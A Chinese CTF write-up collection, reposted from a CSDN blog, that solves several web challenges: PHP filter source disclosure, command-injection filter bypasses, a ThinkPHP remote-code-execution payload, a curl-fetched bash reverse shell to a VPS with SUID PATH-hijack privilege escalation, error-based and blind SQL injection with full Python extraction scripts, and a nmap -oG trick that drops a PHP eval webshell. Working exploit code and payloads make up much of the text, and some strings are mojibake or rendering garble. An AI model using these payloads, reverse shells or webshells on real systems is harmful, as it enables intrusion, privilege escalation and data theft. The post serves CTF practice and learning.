ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

CTF练习题

2021-12-15 23:31:50  阅读:167  来源: 互联网

标签:练习题 name column db list CTF str print


端午就该吃粽子

打开环境没有界面
直接目录扫描得到
login.php
访问得到
在这里插入图片描述
发现存在文件包含
试试目录跳跃,发现被过滤掉了
那就直接php为协议读源码

http://www.bmzclub.cn:22020/login.php?zhongzi=php://filter/read=convert.base64-encode/resource=index.php

解码得到

<?php
    error_reporting(0);
    if (isset($_GET['url'])) {
      $ip=$_GET['url'];
      if(preg_match("/(;|'| |>|]|&| |python|sh|nc|tac|rev|more|tailf|index|php|head|nl|sort|less|cat|ruby|perl|bash|rm|cp|mv|\*)/i", $ip)){
          die("<script language='javascript' type='text/javascript'>
          alert('no no no!')
          window.location.href='index.php';</script>");
      }else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
          die("<script language='javascript' type='text/javascript'>
          alert('no flag!')
          window.location.href='index.php';</script>");
      }
      $a = shell_exec("ping -c 4 ".$ip);
      echo $a;
    }
    ?>

有两个正则
windows.location.href="/url"

当前页面打开URL页面。

shell_exec

(PHP 4, PHP 5, PHP 7) shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

payload:http://www.bmzclub.cn:22020/index.php?url=127.0.0.1|c\a\t${IFS}/????

听说最近thinkphp很火?

打开环境 会发现进行自动跳转
我们先进public目录下的index.php的入口文件跳转到这
在这里插入图片描述

然后直接进行thinkphp的url重写

https://serverName/index.php(入口文件)/模块/控制器/操作/参数/值…;

然后随便一个解释器和操作让它报错 好让我们拿到版本号

http://www.bmzclub.cn:22020/index.php/index/lindex/hello

在这里插入图片描述
得到版本号,直接百度找利用payload

http://www.bmzclub.cn:22020/index.php?s=captcha (POST)_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

WEB_penetration

打开环境

<?php
highlight_file(__FILE__);
if(isset($_GET['ip'])){
    $ip = $_GET['ip'];
    $_=array('b','d','e','-','q','f','g','i','p','j','+','k','m','n','\<','\>','o','w','x','\~','\:','\^','\@','\&','\'','\%','\"','\*','\(','\)','\!','\=','\.','\[','\]','\}','\{','\_');
    $blacklist = array_merge($_);
    foreach ($blacklist as $blacklisted) {
        if (strlen($ip) <= 18){
            if (preg_match ('/' . $blacklisted . '/im', $ip)) {
                die('nonono');
            }else{
            exec($ip);
            }
            
        }
        else{
        die("long");
        }
    }
    
}

传入一个GET型的ip参数,设置一个_变量,将_作为$blacklist
ip经过两重判断,一是长度小于18,二是balcklist黑名单匹配,匹配到的将敏感词替换为/im
思路:过滤挺多,到目前可以看出curl没有过滤掉
所以直接反弹sell
自己挂个vps的主页为:

   bash -c "bash -i >& /dev/tcp/IP地址/8080 0>&1"

然后vps上监听:

nc -lvnp 8080

然后payload:

?ip=curl (10进制ip)|sh

反弹成功后会发现不是root权限
所以要进行越权
先找一下suid

find / -user root -perm -4000 -print 2>/dev/null

发现love里面有个ps命令
ps命令没有指定是哪个目录下的。
那么我们就可以伪造ps命令来提权。
我们在/tmp目录下伪造ps命令。因为/tmp目录有可写权限

cd /tmp       # 进入/tmp目录
echo "/bin/bash" >ps    #将payload写入ps文件
chmod 777 ps            #设置可读可写可执行权限
$PATH                   #查看环境变量
export PATH=/tmp:$PATH   #将/tmp加入环境变量,并放在第一个位置

运行love,发现权限变成root了

然后读取flag就好了

cat /root/flag

[极客大挑战 2019]LoveSQL

在用户名有报错注入
爆库名

  1' and extractvalue(0,concat(0x7e,database()))#

返回结果

  XPATH syntax error: '~geek'

爆表名

 1' and extractvalue(0,concat(0x7e,(select group_concat(distinct table_name)from information_schema.tables where table_schema='geek')))#

返回结果

 XPATH syntax error: '~geekuser,l0ve1ysq1~'

爆字段

   1' and extractvalue(0,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='l0ve1ysq1')))#

返回结果

 XPATH syntax error: '~id,username,password'

然后使用substr()截取字段内容,当截取到下标为225时,返回flag的一部分:

 1' union select updatexml(1,concat(0x7e,substr((select group_concat(password) FROM geek.l0ve1ysq1),225,250),0x7e),1);#

返回结果

  XPATH syntax error: '~u_ji,Syc_san_da_hacker,flag{060'

同理得到flag

[CISCN2019 华北赛区]Hack World

传入id,有两种返回结果,1以及2。很容易的推测到可能是布尔盲注。
fuzz之后发现WAF了空格。使用括号可以绕过。

这里直接用了通杀语句if(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'),1,2)。
exp

  import requests
     
    string = "Hello, glzjin wants a girlfriend."
    url = "http://c51bbb75-0b7f-4f51-8343-a1e164f75d10.node3.buuoj.cn/index.php"
    flag = ""
     
    for i in range(50):
        for j in range(127):
            payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (i, j)
            data = {'id': payload}
            files = []
            headers = {}
            response = requests.request("POST", url, headers=headers, data=data, files=files)
            print(j)
     #为了防止因网络原因而导致爆破中断丢失数据
            if response.text.find(string) != -1:
                flag += chr(j)
                print(flag)
                break

[WUSTCTF2020]颜值成绩查询

忘记了是哪位师傅的全能查表脚本了,直接保存一手终于用上了

# -*- coding:utf-8 -*-
import requests
import time

def ascii_str():  # 生成库名表名字符所在的字符列表字典
    str_list = []
    for i in range(33, 127):  # 所有可显示字符
        str_list.append(chr(i))
    # print('可显示字符:%s'%str_list)
    return str_list  # 返回字符列表


def db_length(url, str):
    print("[-]开始测试数据库名长度.......")
    num = 1
    while True:
        db_payload = url + "/**/and/**/(length(database())=%d)--+" % num
        r = requests.get(db_payload)
        if r.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if str in r.text:
            db_length = num
            print("[+]数据库长度:%d\n" % db_length)
            db_name(db_length)  # 进行下一步,测试库名
            break
        else:
            num += 1


def db_name(db_length):
    print("[-]开始测试数据库名.......")
    db_name = ''
    str_list = ascii_str()
    for i in range(1, db_length + 1):
        for j in str_list:
            db_payload = url + "/**/and/**/(ord(mid(database(),%d,1))='%s')--+" % (i, ord(j))
            r = requests.get(db_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                db_name += j
                break
    print("[+]数据库名:%s\n" % db_name)
    tb_piece(db_name)  # 进行下一步,测试security数据库有几张表
    return db_name


def tb_piece(db_name):
    print("开始测试%s数据库有几张表........" % db_name)
    for i in range(100):  # 猜解库中有多少张表,合理范围即可
        tb_payload = url + "/**/and/**/%d=(select/**/count(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='%s')--+" % (
        i, db_name)
        r = requests.get(tb_payload)
        if r.status_code == 429:
            print("too fast")
            time.sleep(0.5)
        if str in r.text:
            tb_piece = i
            break
    print("[+]%s库一共有%d张表\n" % (db_name, tb_piece))
    tb_name(db_name, tb_piece)  # 进行下一步,猜解表名


def tb_name(db_name, tb_piece):
    print("[-]开始猜解表名.......")
    table_list = []
    for i in range(tb_piece):
        str_list = ascii_str()
        tb_length = 0
        tb_name = ''
        for j in range(1, 20):  # 表名长度,合理范围即可
            tb_payload = url + "/**/and/**/(select/**/length(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1)=%d--+" % (
            i, j)
            r = requests.get(tb_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                tb_length = j
                print("第%d张表名长度:%s" % (i + 1, tb_length))
                for k in range(1, tb_length + 1):  # 根据表名长度进行截取对比
                    for l in str_list:
                        tb_payload = url + "/**/and/**/(select/**/ord(mid((select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema=database()/**/limit/**/%d,1),%d,1)))=%d--+" % (
                        i, k, ord(l))
                        r = requests.get(tb_payload)
                        if r.status_code == 429:
                            print("too fast")
                            time.sleep(0.5)
                        if str in r.text:
                            tb_name += l
                print("[+]:%s" % tb_name)
                table_list.append(tb_name)
                break
    print("\n[+]%s库下的%s张表:%s\n" % (db_name, tb_piece, table_list))
    column_num(table_list, db_name)  # 进行下一步,猜解每张表的字段数


def column_num(table_list, db_name):
    print("[-]开始猜解每张表的字段数:.......")
    column_num_list = []
    for i in table_list:
        for j in range(30):  # 每张表的字段数量,合理范围即可
            column_payload = url + "/**/and/**/%d=(select/**/count(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s')--+" % (
            j, i)
            r = requests.get(column_payload)
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if str in r.text:
                column_num = j
                column_num_list.append(column_num)  # 把所有表的字段,依次放入这个列表当中
                print("[+]%s表\t%s个字段" % (i, column_num))
                break
    print("\n[+]表对应的字段数:%s\n" % column_num_list)
    column_name(table_list, column_num_list, db_name)  # 进行下一步,猜解每张表的字段名


def column_name(table_list, column_num_list, db_name):
    print("[-]开始猜解每张表的字段名.......")
    column_length = []
    str_list = ascii_str()
    column_name_list = []
    for t in range(len(table_list)):  # t在这里代表每张表的列表索引位置
        print("\n[+]%s表的字段:" % table_list[t])
        for i in range(column_num_list[t]):  # i表示每张表的字段数量
            column_name = ''
            for j in range(1, 21):  # j表示每个字段的长度
                column_name_length = url + "/**/and/**/%d=(select/**/length(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1)--+" % (
                j - 1, table_list[t], i)
                r = requests.get(column_name_length)
                if r.status_code == 429:
                    print("too fast")
                    time.sleep(0.5)
                if str in r.text:
                    column_length.append(j)
                    break
                for k in str_list:  # k表示我们猜解的字符字典
                    column_payload = url + "/**/and/**/ord(mid((select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_name='%s'/**/limit/**/%d,1),%d,1))=%d--+" % (
                    table_list[t], i, j, ord(k))
                    r = requests.get(column_payload)
                    if r.status_code == 429:
                        print("too fast")
                        time.sleep(0.5)
                    if str in r.text:
                        column_name += k
            print('[+]:%s' % column_name)
            column_name_list.append(column_name)
    print(column_name_list)#输出所有表中的字段名到一个列表中
    dump_data(table_list, column_name_list, db_name)  # 进行最后一步,输出指定字段的数据


def dump_data(table_list, column_name_list, db_name):
    print("\n[-]对%s表的%s字段进行爆破.......\n" % (table_list[0], column_name_list[0:2]))
    str_list = ascii_str()
    for i in column_name_list[0:2]:
        for j in range(101):  # j表示有多少条数据,合理范围即可
            data_num_payload = url + "/**/and/**/(select/**/count(%s)/**/from/**/%s.%s)=%d--+" % (i, db_name, table_list[0], j)
            r = requests.get(data_num_payload)
            if str in r.text:
                data_num = j
                break
        print("\n[+]%s表中的%s字段有以下%s条数据:" % (table_list[0], i, data_num))
        for k in range(data_num):
            data_len = 0
            dump_data = ''
            for l in range(1,80):  # l表示每条数据的长度,合理范围即可
                data_len_payload = url + "/**/and/**/ascii(substr((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))--+" % (
                i, db_name, table_list[0], k, l)
                r = requests.get(data_len_payload)
                if str not in r.text:
                    data_len = l - 1
                    for x in range(1, data_len + 1):  # x表示每条数据的实际范围,作为mid截取的范围
                        for y in str_list:
                            data_payload = url + "/**/and/**/ord(mid((select/**/%s/**/from/**/%s.%s/**/limit/**/%d,1),%d,1))=%d--+" % (
                            i, db_name, table_list[0], k, x, ord(y))
                            r = requests.get(data_payload)
                            if str in r.text:
                                dump_data += y
                                break
                    break
            print('[+]%s' % dump_data)  # 输出每条数据


if __name__ == '__main__':
    url = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum=1"  # 目标url
    str = "Hi admin"  # 布尔型盲注的true&false的判断因素
    db_length(url, str)  # 程序入口

盲注乱杀

i
mport requests
    import time
    
    url1 = "http://268c8f8f-42b5-422e-8a28-b3bc2777c4c0.node4.buuoj.cn:81/?stunum="
    data = ""
    
    
    
    for i in range(1,500):
        for j in range(31,128):
            payload = 'if(ascii(substr((select(value)from(flag)),{},1))={},1,0)'.format(i,j)#字段值
    
            r = requests.get(url = url1 + payload )
            if r.status_code == 429:
                print("too fast")
                time.sleep(0.5)
            if r"Hi admin, your score is: 100" in r.text:
                data += chr(j)
                print(data)

[WUSTCTF2020]朴实无华

打开环境先访问index.php没有跳转,直接访问robotx.txt得到一个假的flag文件,
然后反反复复的找在网络头里面找到了一个提示
在这里插入图片描述

然后访问得到源码

 <?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


//level 1
if (isset($_GET['num'])){
    $num = $_GET['num'];
    if(intval($num) < 2020 && intval($num + 1) > 2021){
        echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
    }else{
        die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
    }
}else{
    die("鍘婚潪娲插惂");
}
//level 2
if (isset($_GET['md5'])){
   $md5=$_GET['md5'];
   if ($md5==md5($md5))
       echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
   else
       die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
    die("鍘婚潪娲插惂");
}

//get flag
if (isset($_GET['get_flag'])){
    $get_flag = $_GET['get_flag'];
    if(!strstr($get_flag," ")){
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag);
        echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
        system($get_flag);
    }else{
        die("蹇埌闈炴床浜�");
    }
}else{
    die("鍘婚潪娲插惂");
}
?>

然后这里有三个地方需要绕过

 if(intval($num) < 2020 && intval($num + 1) > 2021)

这个intval() 函数将括号内的值转换为整型,可以通过科学计数法来进行绕过
注意这个绕过方式只能在PHP5.5的版本进行复现
所以num=1e4

if ( m d 5 = = m d 5 ( md5==md5( md5==md5(md5))

第二关就是md5加密的值等于他本身
然后我之前的笔记直接拿到这个值md5=0e215962017

   if(!strstr($get_flag," ")){
            $get_flag = str_ireplace("cat", "wctf2020", $get_flag);

第三关就是这里的替换,过滤了cat和空格
直接命令执行绕过就行 tac 和 %09(php环境下)
先去ls一下 得到flag文件名 然后 读取就行

[BUUCTF 2018]Online Tool

   <?php
    
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
    }
    
    if(!isset($_GET['host'])) {
        highlight_file(__FILE__);
    } else {
        $host = $_GET['host'];
        $host = escapeshellarg($host);
        $host = escapeshellcmd($host);
        $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
        echo 'you are in sandbox '.$sandbox;
        @mkdir($sandbox);
        chdir($sandbox);
        echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);

}

这道题重点

h o s t = e s c a p e s h e l l a r g ( host = escapeshellarg( host=escapeshellarg(host);
h o s t = e s c a p e s h e l l c m d ( host = escapeshellcmd( host=escapeshellcmd(host);

然后payload就是

  '<?php eval($_POST["a"]);?> -oG 1.php ' 

然后蚁剑连接就行了

[MRCTF2020]套娃

源码中得到

  <!--
    //1st
    $query = $_SERVER['QUERY_STRING'];
    
     if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
        die('Y0u are So cutE!');
    }
     if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
        echo "you are going to the next ~";
    }
    !-->

第一个if绕过很简单
我们这里用+绕过然后第二个正则用回车的url编码绕过就行

  b+u+p+t=23333%0a

然后得到jsfuck代码 解码叫我们post传参个那个一个随便一个值

   <?php 
    error_reporting(0); 
    include 'takeip.php';
    ini_set('open_basedir','.'); 
    include 'flag.php';
    
    if(isset($_POST['Merak'])){ 
        highlight_file(__FILE__); 
        die(); 
    } 
    
    
    function change($v){ 
        $v = base64_decode($v); 
        $re = ''; 
        for($i=0;$i<strlen($v);$i++){ 
            $re .= chr ( ord ($v[$i]) + $i*2 ); 
        } 
        return $re; 
    }
    echo 'Local access only!'."<br/>";
    $ip = getIp();
    if($ip!='127.0.0.1')
    echo "Sorry,you don't have permission!  Your ip is :".$ip;
    if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
    echo "Your REQUEST is:".change($_GET['file']);
    echo file_get_contents(change($_GET['file'])); }
    ?>  

这里有个加密

function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}

我们来逆一下

<?php
function unchange($v){ 

    $re = '';
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) - $i*2 ); 
    } 
    return $re; 
}



$real_flag = unchange('flag.php');

echo base64_encode($real_flag);

然后利用data伪协议过第一个if
还要加上ip头混淆

X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1

所以payload:?2333=data:text/plain,todat%20is%20a%20happy%20day&file=ZmpdYSZmXGI=

标签:练习题,name,column,db,list,CTF,str,print
来源: https://blog.csdn.net/qq_53460654/article/details/121964042

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有